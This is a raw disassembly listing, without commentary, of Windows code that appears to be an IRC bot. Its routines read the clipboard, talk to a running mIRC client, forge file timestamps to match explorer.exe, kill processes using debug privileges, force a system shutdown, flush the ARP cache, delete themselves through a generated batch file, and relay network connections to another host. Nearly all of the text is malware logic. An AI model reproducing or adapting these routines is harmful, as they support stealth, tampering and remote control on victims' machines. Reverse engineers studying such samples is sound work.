		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_417090	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_4052F3:				; CODE XREF: sub_4052BA+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4052FF
		cmp	cl, 9
		jnz	short loc_405302


loc_4052FF:				; CODE XREF: sub_4052BA+3Ej
		inc	eax
		jmp	short loc_4052F3
; ---------------------------------------------------------------------------


loc_405302:				; CODE XREF: sub_4052BA+43j
					; sub_4052BA+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40531C
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_405302
		cmp	cl, 21h
		jl	short loc_405302


loc_40531C:				; CODE XREF: sub_4052BA+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_42B4F8
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_40BDE7
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4052BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_405344	proc near		; CODE XREF: sub_406BAB+2DE6p
		push	esi
		push	0
		call	dword_42B3A4	; OpenClipboard
		test	eax, eax
		jz	short loc_40537B
		push	1
		call	dword_42B3C4	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_40537B
		push	edi
		push	esi
		call	dword_417098	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_417094	; GlobalUnlock
		call	dword_42B424	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40537B:				; CODE XREF: sub_405344+Bj
					; sub_405344+19j
		xor	eax, eax
		pop	esi
		retn
sub_405344	endp


; =============== S U B	R O U T	I N E =======================================



sub_40537F	proc near		; CODE XREF: sub_406BAB+25A5p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_42B3E0	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4053FB
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4170A4	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4170A0	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_40B0B3
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_42B42C	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_42B42C	; SendMessageA
		push	ebx
		call	dword_41709C	; UnmapViewOfFile
		push	edi
		call	dword_417074	; CloseHandle
		xor	eax, eax
		pop	ebx
		inc	eax
		jmp	short loc_4053FD
; ---------------------------------------------------------------------------


loc_4053FB:				; CODE XREF: sub_40537F+16j
		xor	eax, eax


loc_4053FD:				; CODE XREF: sub_40537F+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40537F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405401	proc near		; CODE XREF: sub_406422+20Cp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_42B484	; SearchPathA
		test	eax, eax
		jz	short loc_4054A0
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_41707C
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4054A0
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4170AC	; GetFileTime
		push	ebx
		mov	ebx, dword_417074
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4054A0
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4170A8	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_4054A0:				; CODE XREF: sub_405401+2Aj
					; sub_405401+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405401	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054A5	proc near		; CODE XREF: sub_406BAB+DF3p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_4057AB
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_42B330	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4054A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054C7	proc near		; CODE XREF: sub_4032EE+45Fp
					; sub_406BAB+2FFCp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_41C0E4, esi
		push	edi
		jz	short loc_4054EB
		cmp	dword_42B498, esi
		jnz	short loc_4054EB
		push	esi
		call	sub_4031BC
		pop	ecx


loc_4054EB:				; CODE XREF: sub_4054C7+13j
					; sub_4054C7+1Bj
		call	sub_40AC17
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4170BC	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_41707C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40564B
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_417078	; WriteFile
		push	edi
		call	dword_417074	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_40B630
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_40B630
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_422270
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_41704C	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4170B8	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4055F3
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4170B4	; SetFileAttributesA


loc_4055F3:				; CODE XREF: sub_4054C7+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_40B0B3
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4170B0	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_417070	; CreateProcessA


loc_40564B:				; CODE XREF: sub_4054C7+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4054C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40564F	proc near		; CODE XREF: sub_403CA3+83p
					; sub_4068DA+4Fp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_42B410	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_405677
		push	[esp+arg_0]
		call	dword_42B454	; gethostbyname
		test	eax, eax
		jnz	short loc_405670
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_405670:				; CODE XREF: sub_40564F+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_405677:				; CODE XREF: sub_40564F+Dj
		retn
sub_40564F	endp


; =============== S U B	R O U T	I N E =======================================



sub_405678	proc near		; CODE XREF: sub_4068DA+D6p
		mov	ecx, dword_42B310
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_405686
		jmp	ecx
; ---------------------------------------------------------------------------

locret_405686:				; CODE XREF: sub_405678+Aj
		retn
sub_405678	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405687	proc near		; CODE XREF: sub_406BAB:loc_409943p

var_C8		= byte ptr -0C8h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_42B44C	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_40570E
		sub	ecx, 32h
		jz	loc_40574B
		sub	ecx, 48h
		jz	short loc_4056E3
		sub	ecx, 6Eh
		jz	short loc_4056DC


loc_4056C5:				; CODE XREF: sub_405687+85j
		push	eax
		lea	eax, [ebp+var_C8]
		push	offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP	cache: <%"...
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		jmp	short loc_405739
; ---------------------------------------------------------------------------


loc_4056DC:				; CODE XREF: sub_405687+3Cj
		push	offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache	is empty."
		jmp	short loc_40572B
; ---------------------------------------------------------------------------


loc_4056E3:				; CODE XREF: sub_405687+37j
		push	[ebp+var_8]
		call	sub_40B6BF
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_40B630
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_405726
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_42B44C	; GetIpNetTable
		cmp	eax, edi
		jnz	short loc_4056C5


loc_40570E:				; CODE XREF: sub_405687+29j
		cmp	[esi], edi
		jbe	short loc_405743
		lea	ebx, [esi+4]


loc_405715:				; CODE XREF: sub_405687+9Bj
		push	ebx
		call	dword_42B448	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_405715
		jmp	short loc_405743
; ---------------------------------------------------------------------------


loc_405726:				; CODE XREF: sub_405687+75j
		push	offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to	allocation ARP ca"...


loc_40572B:				; CODE XREF: sub_405687+5Aj
					; sub_405687+C9j
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx


loc_405739:				; CODE XREF: sub_405687+53j
		push	esi
		mov	[ebp+var_4], edi
		call	sub_40B771
		pop	ecx


loc_405743:				; CODE XREF: sub_405687+89j
					; sub_405687+9Dj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40574B:				; CODE XREF: sub_405687+2Ej
		push	offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
		jmp	short loc_40572B
sub_405687	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405752	proc near		; CODE XREF: sub_4023B8+50p
					; sub_402E09+89p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_42B37C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_42BFC8
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_40B0B3
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_405752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4057AB	proc near		; CODE XREF: sub_4054A5+7p
					; sub_405816+53p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4170CC	; GetCurrentProcess
		push	eax
		call	dword_42B3B8	; OpenProcessToken
		test	eax, eax
		jnz	short loc_4057CA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4057CA:				; CODE XREF: sub_4057AB+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_42B394	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_405808
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4057F1
		or	[ebp+var_8], 2
		jmp	short loc_4057F5
; ---------------------------------------------------------------------------


loc_4057F1:				; CODE XREF: sub_4057AB+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4057F5:				; CODE XREF: sub_4057AB+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_42B43C	; AdjustTokenPrivileges
		mov	esi, eax


loc_405808:				; CODE XREF: sub_4057AB+32j
		push	[ebp+var_4]
		call	dword_417074	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4057AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405816	proc near		; CODE XREF: sub_4059C3+74p
					; sub_406BAB+26C6p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_42B3F4, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	short loc_4058BB
		cmp	dword_42B3D8, ebx
		jz	short loc_4058BB
		cmp	dword_42B30C, ebx
		jz	short loc_4058BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4057AB
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_42B3F4	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	short loc_4058AE
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_42B3D8	; Process32First
		mov	esi, dword_417074
		test	eax, eax
		jnz	loc_405971


loc_4058A9:				; CODE XREF: sub_405816+173j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_4058AE:				; CODE XREF: sub_405816+69j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4057AB
		pop	ecx
		pop	ecx


loc_4058BB:				; CODE XREF: sub_405816+3Aj
					; sub_405816+42j ...
		xor	eax, eax


loc_4058BD:				; CODE XREF: sub_405816+1A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4058C2:				; CODE XREF: sub_405816+16Dj
		cmp	[ebp+arg_10], ebx
		jnz	loc_405971
		cmp	[ebp+arg_C], ebx
		jnz	loc_40595C
		cmp	[ebp+arg_4], ebx
		jz	loc_405971
		push	[ebp+var_124]
		push	8
		call	dword_42B3F4	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_40591C
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_42B2BC	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_405922
		lea	eax, [ebp+var_230]
		jmp	short loc_405928
; ---------------------------------------------------------------------------


loc_40591C:				; CODE XREF: sub_405816+E4j
		push	[ebp+var_124]


loc_405922:				; CODE XREF: sub_405816+FCj
		lea	eax, [ebp+var_108]


loc_405928:				; CODE XREF: sub_405816+104j
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD	; " %s (%d)"
		push	eax
		call	sub_40B0B3
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_405971
; ---------------------------------------------------------------------------


loc_40595C:				; CODE XREF: sub_405816+B8j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40598E


loc_405971:				; CODE XREF: sub_405816+8Dj
					; sub_405816+AFj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_42B30C	; Process32Next
		test	eax, eax
		jnz	loc_4058C2
		jmp	loc_4058A9
; ---------------------------------------------------------------------------


loc_40598E:				; CODE XREF: sub_405816+159j
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	dword_4170D4	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	ebx
		push	edi
		call	dword_4170D0	; TerminateProcess
		test	eax, eax
		jnz	short loc_4059BB
		push	edi
		call	esi	; CloseHandle
		jmp	loc_4058BB
; ---------------------------------------------------------------------------


loc_4059BB:				; CODE XREF: sub_405816+19Bj
		xor	eax, eax
		inc	eax
		jmp	loc_4058BD
sub_405816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059C3	proc near		; DATA XREF: sub_406BAB+2F6Co

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_41BDE0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40B0B3
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_405A22
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_404555
		add	esp, 14h


loc_405A22:				; CODE XREF: sub_4059C3+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_405816
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_405A50
		push	offset unk_41BDB8
		jmp	short loc_405A55
; ---------------------------------------------------------------------------


loc_405A50:				; CODE XREF: sub_4059C3+84j
		push	offset unk_41BD94


loc_405A55:				; CODE XREF: sub_4059C3+8Bj
		push	eax
		call	sub_40B0B3
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_405A82
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_404555
		add	esp, 14h


loc_405A82:				; CODE XREF: sub_4059C3+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_403145
		push	[ebp+var_14]
		call	sub_40AD6A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_417050	; ExitThread
		pop	edi
		pop	esi
sub_4059C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405AA1	proc near		; CODE XREF: sub_406BAB+2664p
					; sub_40AB8F+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_4170D4	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_405AD3
		push	0
		push	esi
		call	dword_4170D0	; TerminateProcess
		test	eax, eax
		jnz	short loc_405AD3
		push	esi
		xor	edi, edi
		call	dword_417074	; CloseHandle


loc_405AD3:				; CODE XREF: sub_405AA1+1Aj
					; sub_405AA1+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_405AA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AD8	proc near		; DATA XREF: sub_406BAB+1CAEo

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_42B3D4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_42B450	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_405C30
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_42CF6C[ecx], eax
		call	dword_42B308	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_42B400	; bind
		test	eax, eax
		jnz	loc_405C30
		push	0Ah
		push	[ebp+arg_0]
		call	dword_42B3FC	; listen
		test	eax, eax
		jnz	loc_405C30


loc_405B88:				; CODE XREF: sub_405AD8+C6j
					; sub_405AD8+153j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_42B464	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_405B88
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_41BE08
		push	eax
		call	sub_40B0B3
		push	edi
		lea	eax, [ebp+var_350]
		push	0Fh
		push	eax
		call	sub_40AA54
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_42CF64[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_405C55
		push	esi
		push	esi
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_42CF74[ecx], eax
		jz	short loc_405C33
		jmp	short loc_405C26
; ---------------------------------------------------------------------------


loc_405C1E:				; CODE XREF: sub_405AD8+151j
		push	32h
		call	dword_417040	; Sleep


loc_405C26:				; CODE XREF: sub_405AD8+144j
		cmp	[ebp+var_30], esi
		jz	short loc_405C1E
		jmp	loc_405B88
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_405AD8+63j
					; sub_405AD8+97j ...
		mov	edi, [ebp+arg_0]


loc_405C33:				; CODE XREF: sub_405AD8+142j
		push	edi
		call	dword_42B468	; closesocket
		push	[ebp+arg_0]
		call	dword_42B468	; closesocket
		push	[ebp+var_40]
		call	sub_40AD6A
		pop	ecx
		push	esi
		call	dword_417050	; ExitThread
		pop	edi
		pop	esi
sub_405AD8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C55	proc near		; DATA XREF: sub_405AD8+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_40B690
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_42B450	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_405DF6
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_42B3D4	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_42B410	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_405CE5
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_42B454	; gethostbyname
		jmp	short loc_405CF3
; ---------------------------------------------------------------------------


loc_405CE5:				; CODE XREF: sub_405C55+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_42B390	; gethostbyaddr


loc_405CF3:				; CODE XREF: sub_405C55+8Ej
		cmp	eax, edi
		jz	loc_405DF6
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_42B380	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_405DF6
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_41BE50
		push	eax
		call	sub_40B0B3
		push	esi
		lea	eax, [ebp+var_344]
		push	0Fh
		push	eax
		call	sub_40AA54
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_42CF6C[ebx]
		mov	dword_42CF64[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_42CF70[eax], ecx
